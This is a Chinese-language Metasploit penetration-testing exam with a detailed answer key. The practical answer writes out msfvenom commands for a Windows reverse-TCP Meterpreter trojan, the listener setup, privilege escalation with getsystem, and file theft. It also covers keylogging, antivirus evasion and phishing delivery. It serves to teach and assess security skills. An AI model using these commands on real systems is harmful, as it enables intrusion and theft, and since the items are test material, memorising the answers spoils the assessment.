MSF渗透测试专项试题（含详细答案）-1

MSF渗透测试专项试题（含详细答案）适用场景：网络安全渗透测试考核、MSF工具实战实训、内网渗透基础测评考试说明：满分100分，答题时间90分钟，题型包含选择题、填空题、简答题、实操分析题，所有题目围绕Metasploit框架实战使用、漏洞利用、载荷操作、内网基础渗透展开。一、单项选择题（共10题，每题3分，共30分）1、Metasploit框架中，专门用于存放漏洞利用模块的目录是？（）A、payloadsB、exploitsC、auxiliaryD、post2、MSF中，执行完漏洞利用模块后，获取交互式Shell的核心载荷是？（）A、reverse_tcpB、bind_tcpC、execD、download_exec3、以下MSF命令中，用于查看当前模块所有可配置参数的是？（）A、showoptionsB、showinfoC、showpayloadsD、showtargets4、MSF生成Windows系统免杀木马的常用工具是？（）A、msfconsoleB、msfvenomC、meterpreterD、msfd5、Meterpreter会话中，用于查看目标系统详细系统信息的命令是？（）A、sysinfoB、systemC、infoD、getinfo6、以下哪种载荷属于正向连接，需要目标机器主动开放端口等待攻击端连接？（）A、reverse_tcpB、bind_tcpC、reverse_httpD、reverse_https7、MSF中，用于扫描目标主机端口、服务版本的辅助模块分类是？（）A、exploitB、scannerC、postD、encoder8、Meterpreter中，实现将目标机器文件下载到本地的命令是？（）A、uploadB、downloadC、getD、pull9、MSF中，用于切换已获取的多个会话的命令是？（）A、sessionB、sessionsC、switchD、connect10、编码器的主要作用是？（）A、加密流量，绕过防火墙策略B、编码载荷，规避杀毒软件查杀C、压缩木马文件体积D、提升漏洞利用成功率二、填空题（共8空，每空2分，共16分）1、启动Metasploit控制台的系统命令是________。2、MSF模块分为四大核心类：漏洞利用模块、________、________、后渗透模块。3、Meterpreter会话中，________命令可以获取目标机器键盘记录信息。4、生成Linux反向TCP木马的msfvenom基础命令参数中，系统架构参数为________。5、MSF中设置攻击机IP的参数指令是________，设置监听端口的参数指令是________。6、后渗透阶段中，________命令可将Meterpreter会话升级为系统最高权限。三、简答题（共4题，每题9分，共36分）1、简述reverse_tcp与bind_tcp两种载荷的核心区别，以及实战中优先使用reverse_tcp的原因。2、简述MSF中auxiliary辅助模块的作用，并举出3个常用辅助模块及用途。3、Meterpreter相较于普通CMDShell，有哪些核心优势？4、简述msfvenom生成木马后，MSF监听上线的完整流程。四、实操分析题（共1题，18分）某渗透测试人员对内网Windows10主机进行渗透，需求如下：1、生成64位Windows反向TCP木马，攻击机IP为00，监听端口4444；2、在MSF中配置监听，等待目标主机执行木马；3、主机上线后，完成信息收集、权限提升、文件窃取操作。请写出完整的实操命令流程，并说明每一步操作的作用，同时标注实操注意事项。参考答案（详细解析）一、单项选择题答案及解析1、B解析：exploits目录存放各类漏洞利用模块；payloads为载荷目录，auxiliary为辅助模块目录，post为后渗透模块目录。2、A解析：reverse_tcp为反向TCP载荷，是实战中最常用的反弹Shell载荷；bind_tcp为正向连接载荷，实战极少使用；exec仅执行命令，无法获取交互Shell。3、A解析：showoptions查看模块可配置参数；showinfo查看模块详细介绍；showpayloads查看适配载荷；showtargets查看适配目标系统。4、B解析：msfvenom是MSF专属的载荷生成、木马制作工具；msfconsole是框架控制台，meterpreter是后渗透会话工具。5、A解析：sysinfo为Meterpreter专属命令，可查看目标系统版本、架构、内存、主机名等详细信息。6、B解析：bind_tcp正向连接，目标开放端口等待攻击端连接；各类reverse反向载荷，均是目标主动连接攻击机。7、B解析：scanner属于auxiliary下的扫描类模块，专门用于端口扫描、服务探测、漏洞扫描。8、B解析：download下载目标文件到本地；upload上传本地文件到目标机器。9、B解析：sessions为会话管理核心命令，可查看、切换、杀死会话；session为拼写错误，无switch切换会话指令。10、B解析：编码器（encoder）通过对载荷进行二次编码加密，修改木马特征码，规避杀毒软件静态查杀。二、填空题答案1、msfconsole2、辅助模块（auxiliary）、载荷模块（payloads）3、keyscan_start4、x86_64（32位系统为x86）5、setLHOST、setLPORT6、getsystem三、简答题详细答案1、reverse_tcp与bind_tcp核心区别及实战优选原因核心区别：bind_tcp是正向连接，攻击端主动连接目标机器开放的端口；reverse_tcp是反向连接，目标机器主动发起连接请求，连接攻击机的监听端口。实战优选reverse_tcp原因：第一，内网主机普遍存在防火墙、端口拦截策略，正向连接的端口会被默认拦截，无法建立会话；第二，内网主机大多是私有IP，攻击机无法直接主动访问内网主机；第三，反向连接由目标主动出站，防火墙对出站流量拦截规则宽松，连接成功率极高。2、auxiliary辅助模块作用及常用模块作用：辅助模块无漏洞利用、无权限提升功能，主要用于渗透前期信息收集、扫描探测、登录爆破、流量嗅探、服务验证，为后续漏洞利用提供数据支撑，是渗透前期的核心工具。常用模块：（1）portscan/tcp：TCP全连接端口扫描，探测目标开放端口；（2）scanner/http/version：扫描目标Web服务版本信息；（3）scanner/smb/smb_login：SMB协议弱密码爆破，用于内网主机登录测试。3、Meterpreter相较于普通CMDShell的核心优势（1）功能更全面：支持系统信息收集、键盘记录、屏幕截图、进程管理、文件操作、权限提升等后渗透功能，普通CMD仅能执行基础系统命令；（2）隐蔽性更强：Meterpreter为内存级载荷，无落地文件，不会在目标磁盘留下木马文件，不易被查杀和溯源；普通CMDShell日志留存明显；（3）稳定性更高：支持会话保活、后台运行，可后台持续控制目标主机，不会因命令执行异常断开连接；（4）扩展性更强：支持加载各类拓展插件，实现内网横向移动、凭证抓取、摄像头劫持等高级操作。4、msfvenom木马生成及MSF监听上线完整流程第一步：使用msfvenom工具，根据目标系统版本、架构，生成对应反向载荷木马文件；第二步：将生成的木马文件通过文件传输、钓鱼诱导等方式上传至目标主机；第三步：打开msfconsole控制台，启用exploit/multi/handler监听模块，该模块用于接收反弹会话；第四步：配置监听模块参数，保证LHOST、LPORT与木马生成参数完全一致；第五步：执行exploit开启监听，等待目标主机执行木马程序；第六步：目标执行木马后，自动反弹Meterpreter会话，完成主机上线，进入后渗透阶段。四、实操分析题完整答案（全流程命令+解析+注意事项）1、生成64位Windows反向木马命令命令：msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=00LPORT=4444-fexe>win64_shell.exe参数解析：-p指定载荷为64位Windows反向TCPMeterpreter；LHOST指定攻击机IP；LPORT指定监听端口；-fexe指定输出文件格式为可执行程序。2、MSF配置监听流程（1）启动控制台：msfconsole（2）加载监听模块：useexploit/multi/handler（3）匹配木马载荷：setPAYLOADwindows/x64/meterpreter/reverse_tcp（4）配置监听参数：setLHOST00、setLPORT4444（5）开启监听：run（或exploit）3、主机上线后实操操作（1）信息收集：sysinfo（查看系统信息）、ipconfig（查看目标网络信息）、ps（查看进程列表）；（2）权限提升：getsystem（尝试提升至系统最高权限）、getuid（查看当前权限账号）；（3）文件窃取：cdC:\Users\Desktop（切换至桌面目录）、download目标文件